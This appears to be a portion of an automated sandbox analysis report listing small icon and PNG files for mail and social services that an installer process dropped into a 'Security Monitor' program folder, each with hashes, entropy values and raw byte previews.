MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook.Live.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook.Live.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yahoo Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yahoo Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yandex Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yandex Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\facebook.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.78558880583897
Encrypted:	false
SSDEEP:	12:KfbXxEm8sLBtLt08SHKdvaB8a+jzSCt/lgj5XTc64b6fNSuHwPqD7H:KfbhX8sL90rHKNaB8ayRYdjc64OpVb
MD5:	BD477227A18FED51A2C527EA4E32400B
SHA1:	6FC1F173245E77BDA386CE112D9A19502E5C0A92
SHA-256:	6569A42B81E6B02E8385CDF5EED48A3FBF3CB89101142723FAAEECDC9785D203
SHA-512:	20DC45444E3D2FF3C5C427C60A5B1C7941FFE74E79B9C156E033D53DCBB616AA2A0518AFC2CCFD7FAC4D95581AC2606DF81B7BACA7EA28AD875871949DD8229B
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ......................................................................................................fA..hB..kD..mE..oG..sI..tK..rI..lE..iC......................b?..................................fA.............._<.....d?..fA..hB..jC..e<.............d..d=.....b?..........]<.....c?..d@..fA..hB..b;.............c..b<.....a>..........[;.....a=..b>..d@..e@..`9.............a.._:.....`=..........Z:....._<..`=..b>..c?..Y4.............{\..Y5.....]<..........X9.....\;..]<.._<..a=..nN.............v..pQ.....[:..........V7.....X8..Y8..Y8..[:.............................W7..........S5.....eE..mL..sQ..wU.............................T5..........{[.....f..g..g..g..}Y................wS.....\|\..........j.....i..i..i..j..e........................i..........o.....o..o..o..o..o..k.....................n..............u.........................v......................{..{..{..{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\facebook.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.183161975210355
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjkLD81AWeAqr9XoQh35hBMjExRnj8OiD1i77sOw3N:XMfLDMe/4QFTyExl8Oihi8OIN
MD5:	E09587AD1847CF4E2AD03524A3C1CA7D
SHA1:	9564E6F66C74E3079F2DDA05A6A61742FB23683D
SHA-256:	603A9A84F0E095585BD39B27CD4C4D194A4A45C664373D636E493C2841084957
SHA-512:	5A00DB9331B1F1536C6152BF99F7245D159E46101122FA6827B0D5EF8D0377DB66DBB4CEAECA69F1AEC8FDDE51B506CB471B58A34E8A3DF09BAE0FC3F117CA2A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z.....=IDAT8....J.P....DJ.V.hK!b...E.;8..../. 8._.'p..!...I.v.EQi. ...CZ..%..-.s...~.....cr....!."TjR...RY04M....!...s..i....'.r.j...../.>......(.g.....=...2....>~...89.Eq.....?.\.Z......C...cE...\|.I.X.....(I...W.a..zj...O.:.?.........,.....PK...c...Y..5...B..k........jlmn@..S...qe]...z..p.1..\.E..\|...d{{.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\google+.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.463689107615048
Encrypted:	false
SSDEEP:	24:K/1fhCeNZn1dIxF327RYl2gZArfrReA/T3UqZzqi:K/9hCAZn3EGRYvZMrReA7UMzqi
MD5:	C4CE03C4D6D52FDA15ED85DD35661191
SHA1:	7FC5453E63A2B3C8F5CC17A1A5B9D40E3BBCAA89
SHA-256:	EA932489B1C366D47D33EF6FC4898A11E85C5EF5BA2982A21506FF49BD230B44
SHA-512:	2A332EE917FDCEE81C4F1E19F340498B37AA1B549A1E48E5C5207879F5A6EC1233052A606202CE254E629EE63676BDAA1438D4165D0BF48C3CB4BCC3A26BC907
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................H.H.#.#............................................b...4...+...X...y...'.'.!.!................................T...H...9..........~...r.r.'.'................................]...T...E...6...'..............&.&................................^...U...C...h..........5.5.-.-.%.%..................."..;..{....................I.I.<.<.4.4.,.,.#.#...............+..>..8.....w.........Z.Z.M.M.C.C.;.;.2.2..*..............3..N..J..j............k.k.\.\.M.M.B.B.9.9.1.1.#.#..........I..w..........}..u.....w...n.n.`.`.Q.Q.F.F.9.9...<.........._.............o..[........L^..Ci..4b..&Q...,...............f.............~..k........jj..QQ..<<..++...................k................w.........ii..ZZ..EE..33..&&...............Z.........................rr..``..LL..;;...................r...X..`...............yy.II

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\google+.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.651387048168162
Encrypted:	false
SSDEEP:	24:tfp9eW5Oon3iu7MTGS7ZN6tv1lyvv60hrTcdrU:j9eW5VSOwn4lwi0tGU
MD5:	4121D02B972D718C30E8B41023B894EE
SHA1:	751D347690F151AEAC02DD8C69A1F3D629D1DDD0
SHA-256:	807241CF72D7A2CC7DA63ADE8E22F6D1976E9B5D4B9CEC8479960EF4CE0CAD24
SHA-512:	FCDF69080406D542FA6A460C741BD53B4BC052D26EF930F61381CD05B73DCC1D8F13AE71A786E0C795BBE6889ED044D2CF9427CCC3E29CBF3BB7C97188E31BF0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..MH.a.....[..'...m&......h...C...!.....T...%.(l........6...!Z7E.v%.e.u.gfwvg..P../<..........$.8.". ..W..#]..D.L...q..2"N.!.."ar.9V+.....>..++......Y{..Hk.5.av-./.C..x._..1....,...n7.... ......U..>-Ru....t=.-o...p...W...9z.......\...>....V...,P-..Icr"F,..s1l3<....PU.......J......h@../..R.Y}2........f..R`.....=.a.s.F..y.8e.......[.?..<.....JK.."..p...Y...!..H....L.A0.D.....sU..NQGS..(.xF....._y..S.p2N..w....p,.......=.T.^G....p.$.=w.b..4.~. ...FY5q...!z..N....7EG.r.Og.(.o..8....\..6."J......huh../sT..2%2$?.Y.".....b.y.x?.....=@..w..m.p..T..#..+@M.{...=j\|..-E.x.>@.....h...2.H.?.O......t..a.6.......k..n.5.L..3...8~^..%......G.....!......)..fCMMMWjjj.2aL...c.y....&G.......VA.:..I..........!......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\imp.free.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\imp.free.fr.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\instagram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.836023872190528
Encrypted:	false
SSDEEP:	24:DNZdMMMMYVyz2pwij2kQauIG+wEvP3EkBChMc0kkkkke8x2R+Mxz6wwwwwwwwwwg:3qVyb0up+wEXvku8x2R+MlZwwwwwwwwh
MD5:	881D10F5781985AD7299364314CEB948
SHA1:	4F7B1A21207997EE749EABB0310E6AF507F7A502
SHA-256:	F7DD472A36C95EDC749DCAF7CCD44ADD8D3A9DE083101BDE1DD6994051374082
SHA-512:	476D739E9315B2087B0AE8DA53C8DFEB3747DE7C9548C25648B6254B7A91DCEAC10096DDC04175997D268A32612197BE07C685A4BB33643ED544FBCAC947DF88
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...n...n...n...z...................................z...n...n...n...j...j...................................................j...j...g...t.......x...g...g...g...g...g...g...g...g...x.......s...g...c...........c...c...c...h...........g...c...c...c...........c..._\|.........._\|.._\|.........................._\|.._\|.........._\|..\m..........\m..ar......z...\m..\m..{.......`r..\m..........\m..Y_..........Y_..........Y_..Y_..Y_..Y_..........Y_..........Y_..cV..........cV..........cV..cV..cV..cV..........cV..........cV..mN..........mN..rS.......n..mN..mN...o......rS..mN..........mN..xE..........xE..xE...m...................m..xE..xE..........xE...=..........=...=...=...C...n...n...C...=.......N..........=...4...F.......J...4...4...4...4...4...4...4...8...K.......E...4...,...,...l...................................k...,...,...............A.....................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\instagram.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	5.316029185743153
Encrypted:	false
SSDEEP:	12:6v/7u/BKpQr+mJEhtGXJoZ3ZbMzcLLUaMdEAfk8zKGPsl1:5Kpf3GXJoXMwL/MdEAfk87Ez
MD5:	6C2EE6F053AB95D2AA3924EE689E80B9
SHA1:	734FE9B1CAE77E70BE14D79B2A14B545AA249499
SHA-256:	FC44A14405F3747A5D87DD09CCABB3C0E312B5E127929C6E2CF5920F125F132A
SHA-512:	5BA51D89FD4BF61BE55AFC3210FB31ED7DAEA5C44D9829BF0CC48685EF283ADD50F53039748312CD57194085067D88BCD0B9FA0A58C462DA595E2BB54534FFF5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............(-.S....sRGB.........gAMA......a.....PLTE.Nm.Ex.Sr._Y.Vc.m\.\|_.r`.ra.5..,..4..=..8.....C..N..E..F..J..K..A..k..n..o..m..m..n..l.....c.g.h.z.{.g..j.s.t.x..n..z..q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................./V.4....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT(S]..;.Q....t..9&K.......R(.U(!DD....<.....y....eE......X.p.+4...f.k....n....E)e(.....%..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-1T2SC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-3G17H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.183161975210355
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjkLD81AWeAqr9XoQh35hBMjExRnj8OiD1i77sOw3N:XMfLDMe/4QFTyExl8Oihi8OIN
MD5:	E09587AD1847CF4E2AD03524A3C1CA7D
SHA1:	9564E6F66C74E3079F2DDA05A6A61742FB23683D
SHA-256:	603A9A84F0E095585BD39B27CD4C4D194A4A45C664373D636E493C2841084957
SHA-512:	5A00DB9331B1F1536C6152BF99F7245D159E46101122FA6827B0D5EF8D0377DB66DBB4CEAECA69F1AEC8FDDE51B506CB471B58A34E8A3DF09BAE0FC3F117CA2A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z.....=IDAT8....J.P....DJ.V.hK!b...E.;8..../. 8._.'p..!...I.v.EQi. ...CZ..%..-.s...~.....cr....!."TjR...RY04M....!...s..i....'.r.j...../.>......(.g.....=...2....>~...89.Eq.....?.\.Z......C...cE...\|.I.X.....(I...W.a..zj...O.:.?.........,.....PK...c...Y..5...B..k........jlmn@..S...qe]...z..p.1..\.E..\|...d{{.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-4LKQ0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.836023872190528
Encrypted:	false
SSDEEP:	24:DNZdMMMMYVyz2pwij2kQauIG+wEvP3EkBChMc0kkkkke8x2R+Mxz6wwwwwwwwwwg:3qVyb0up+wEXvku8x2R+MlZwwwwwwwwh
MD5:	881D10F5781985AD7299364314CEB948
SHA1:	4F7B1A21207997EE749EABB0310E6AF507F7A502
SHA-256:	F7DD472A36C95EDC749DCAF7CCD44ADD8D3A9DE083101BDE1DD6994051374082
SHA-512:	476D739E9315B2087B0AE8DA53C8DFEB3747DE7C9548C25648B6254B7A91DCEAC10096DDC04175997D268A32612197BE07C685A4BB33643ED544FBCAC947DF88
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...n...n...n...z...................................z...n...n...n...j...j...................................................j...j...g...t.......x...g...g...g...g...g...g...g...g...x.......s...g...c...........c...c...c...h...........g...c...c...c...........c..._\|.........._\|.._\|.........................._\|.._\|.........._\|..\m..........\m..ar......z...\m..\m..{.......`r..\m..........\m..Y_..........Y_..........Y_..Y_..Y_..Y_..........Y_..........Y_..cV..........cV..........cV..cV..cV..cV..........cV..........cV..mN..........mN..rS.......n..mN..mN...o......rS..mN..........mN..xE..........xE..xE...m...................m..xE..xE..........xE...=..........=...=...=...C...n...n...C...=.......N..........=...4...F.......J...4...4...4...4...4...4...4...8...K.......E...4...,...,...l...................................k...,...,...............A.....................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-59G9D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.700988619334296
Encrypted:	false
SSDEEP:	24:2/3exgROSyP3NqUTxBlR8kEPzRspi/MKFhG1Bx:hQOZNVR8HVZkKDG1v
MD5:	6EC205B2369CA054BF85B085486CED9D
SHA1:	26C0B61289F804913164DDDAD8F905E12C8BD4A3
SHA-256:	7E436D02E18B665764D2F2C748068AC8069DB59BCDDA9983F09EA370D742474E
SHA-512:	A446CB697276D8AB014E0A38FFB0F6F31FC1BE4DD27A0A795829F4E844237243EE6B7A92A881841DA30F4E3E7A396E6065DAEB4C868CAD7EE195162CCDE0ADBA
Malicious:	false
Reputation:	unknown
